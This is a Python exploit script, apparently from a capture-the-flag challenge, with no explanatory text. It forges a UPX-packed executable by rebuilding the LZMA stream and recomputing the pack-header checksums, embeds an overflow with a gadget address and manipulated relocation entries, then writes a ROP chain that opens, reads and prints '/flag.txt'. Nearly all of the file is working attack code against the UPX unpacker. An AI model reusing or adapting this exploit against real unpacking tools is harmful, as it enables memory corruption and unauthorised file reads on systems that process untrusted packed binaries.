import lzma
from hexdump import hexdump
import struct
import zlib
from pwn import p64, cyclic,flat,p32

def r2n(data):
    data = data+(3-len(data)%3)*b'\xff'
    r = []
    i = 0
    while i<len(data):
        r.append(data[i+2])
        r.append(data[i+1])
        r.append(data[i+0])
        i = i+3
    return bytes(r)


def add_header(data, u_len, c_len):
    pb = data[0] & 7
    lp = data[1] >>4
    lc = data[1] & 15
    lclppb = lc + lp*9 + pb*9*5
    head = struct.pack(">I", (u_len-1)|0xE00000)[1:] + struct.pack(">h", c_len - 4 +1) + struct.pack('c', bytes([lclppb]))
    return (head +  data[2:] + b'\x00')

def get_packhead_checksum(data, size):
    data = data[4:]
    c = 0
    for i in range(size-4):
        c += data[i]
        c & 0xffffffff
    c = c % 251
    return c


def uncmp():
    with open('./testupx_lzma_400h_1056h.exe','rb') as f:
        data = f.read()
    filters = [{"id": lzma.FILTER_LZMA2, "pb": 2, "lp": 0, "lc": 3, "dict_size": 26531, "mode": lzma.MODE_FAST,"mf": lzma.MF_BT4 ,"depth": 0,'nice_len': 64}]
    
    
    data_withhead = add_header(data, 0x67a3, 0x1056)
    print(hex(zlib.adler32(data)))

    hexdump(data_withhead[:20])
    
    r = lzma.decompress(data_withhead, format=lzma.FORMAT_RAW, filters=filters)


    print(len(r))
    print(hex(zlib.adler32(r)))
    hexdump(r[:40])

def packhead(u_len, c_len, u_adler, c_adler, u_filesize):
    head = b"\x55\x50\x58\x21"
    head += b"\x0D\x09\x0E\x08"
    head += struct.pack("<I", u_adler)
    head += struct.pack("<I", c_adler)
    head += struct.pack("<I", u_len)
    head += struct.pack("<I", c_len)
    head += struct.pack("<I", u_filesize)
    head += b'\x26\x00\x00'
    head += bytes([get_packhead_checksum(head, 31)])
    
    return head

def cmp():
    with open('./ibuf_mod', 'rb') as f:
        data = f.read()

    data_part1 = data[:0x4000]
    data_part3 = data[0x4300:]
    # part2_fill_seq = b'\xF0\x00\x00'+struct.pack("<I", 0xffffffff-0x40c8+1)  + b'\x01'*4 #relocs = 0x555555987b30 jc = 4
    # part2_fill_seq += b'\xF0\x00\x00'+struct.pack("<I", 0xffffffff-0x4+1) + (b'\xF0\x00\x00'+struct.pack("<I",0x0))*1 + b'\xF0'+struct.pack("<H", 0x411)+b'\xF0\x00\x00'+struct.pack("<I", 0xffffffff-0x411+1)
    part2_fill_seq = b'\xF0\x00\x00'+struct.pack("<I", 0xffffffff-0x40c8+1) #relocs = 0x555555987b30 jc = 4
    part2_fill_seq += b'\xF0\x00\x00'+struct.pack("<I", 0) + (b'\xF0\x00\x00'+struct.pack("<I",0x0))*1 + b'\xF0'+struct.pack("<H", 0x411)+b'\xF0\x00\x00'+struct.pack("<I", 0xffffffff-0x411+1)
    part2_fill_seq += b'\xF0\x00\x00'+ struct.pack("<Q", 0x801b20) #struct.pack("<Q",0x69D7E0)       #+struct.pack("<I", 0xD628)
    # part2_fill_seq += 
    part2_fill_seq += b'\x00'
    hexdump(part2_fill_seq)
    data_part2 = b'\x04'+ 112*b'\x01' + b'\xf0'+struct.pack('<H', 0x4019) + (0x15)*b'\x03' + b'\x00' + r2n(part2_fill_seq)
    data_part2 += b'CCCC' + b'\x90'*(0x90 + 0x100+161-8-8 + 1 - 8 -5 -16)
    # data_part2 += p64(0x000000000043ef42)
    data_part2 += p64(0x000000000040e47f)   #  gadget
    data_part2 += p64(0x800000+0x1c00)
    data_part2 = data_part2.ljust(0x4300-0x4000, b'\xff')

    data = data_part1 + data_part2 + data_part3
    with open('./ibuf_mod2', 'wb') as f:
        f.write(data)

    u_len = len(data)
    #filters = [{"id": lzma.FILTER_LZMA2, "pb": 2, "lp": 0, "lc": 3, "dict_size": u_len, "mode": lzma.MODE_FAST,"mf": lzma.MF_BT4 ,"depth": 0, 'nice_len': 64}]
    filters = [{"id": lzma.FILTER_LZMA2, "pb": 2, "lp": 0, "lc": 3, "dict_size": 1024*1024, "mode": lzma.MODE_FAST,"mf": lzma.MF_BT4 ,"depth": 0, 'nice_len': 64}]
    r1 = (lzma.compress(data, format=lzma.FORMAT_RAW, filters=filters))
    r1 = b'\x1a\x03'+r1[6:-1]
    c_len = len(r1)
    hexdump(r1[:40])
    hexdump(r1[-40:])

    
    u_adler = zlib.adler32(data)
    c_adler = zlib.adler32(r1)
    head = packhead(u_len, c_len, u_adler, c_adler, 0x2C00)
    hexdump(head)

    new_upx_part = head+r1
    print(hex(len(new_upx_part)))
    assert(len(new_upx_part)<0x2000)

    with open('./fake_mod.bin', 'wb') as f:
        f.write(new_upx_part)
    with open('./testupx_mod_man.exe', 'rb') as f:
        ori_file_data = f.read()

    file_data = ori_file_data[:0x3e0] + new_upx_part.ljust(0x2000, b'\x00') + ori_file_data[0x3e0+0x1140:]
    with open('./testupx_mod.exe' , 'wb') as f:
        f.write(file_data)

def check():
    with open('./testupx_lzma_3E0h_20h.exe', 'rb') as f:
        data = f.read()
    print(hex(get_packhead_checksum(data,31)))


def write_call_eax():
    with open("testupx_mod.exe", "rb") as f:
        data = f.read()
    
    # data = bytes(data)
    data = bytearray(data)

    pop_rdi_ret = 0x0000000000466403
    pop_rsi_ret = 0x0000000000466401
    pop_rdx_ret = 0x0000000000413e28

    map_base    = 0x800000
    flag_buf    = 0x1b00 
    open64_plt  = 0x4037B0
    read_plt    = 0x403700
    write_plt   = 0x403360

    data[0x1b20-9:0x1b20+3] = b'\x3d\xe6\x48'
    data[0x1b00: len('/flag.txt')] = b'/flag.txt'



    rop = [
        p64(pop_rdi_ret),   # pop rdi ; ret
        p64(0x1b00 + 0x800000) ,   # flag
        p64(pop_rsi_ret),   # pop rsi ; pop r15 ; ret
        p64(2),
        p64(0),                    #
        p64(pop_rdx_ret),   # pop rdx ; ret
        p64(0),
        p64(open64_plt) ,            # open64

        p64(pop_rdi_ret),   # pop rdi ; ret
        p64(4),
        p64(pop_rsi_ret),   # pop rsi ; pop r15 ;ret
        p64(0x2000 + 0x800000),    # buf
        p64(0),                    # padding
        p64(pop_rdx_ret),   # pop rdx ; ret
        p64(0x20),
        p64(read_plt),

        p64(pop_rdi_ret),    # pop rdi ; ret 
        p64(1),
        p64(pop_rsi_ret),
        p64(0x2000 + 0x800000),     # buf
        p64(0),
        p64(pop_rdx_ret),
        p64(0x20),
        p64(write_plt)
    ]
    rop = flat(rop)
    data[0x1c00: len(rop)] = rop
    
    data = bytes(data)


    with open("test_mod_final.exe", "wb") as f:
        f.write(data)


if __name__ == '__main__':
    cmp()
    #uncmp()
    #check()

    write_call_eax()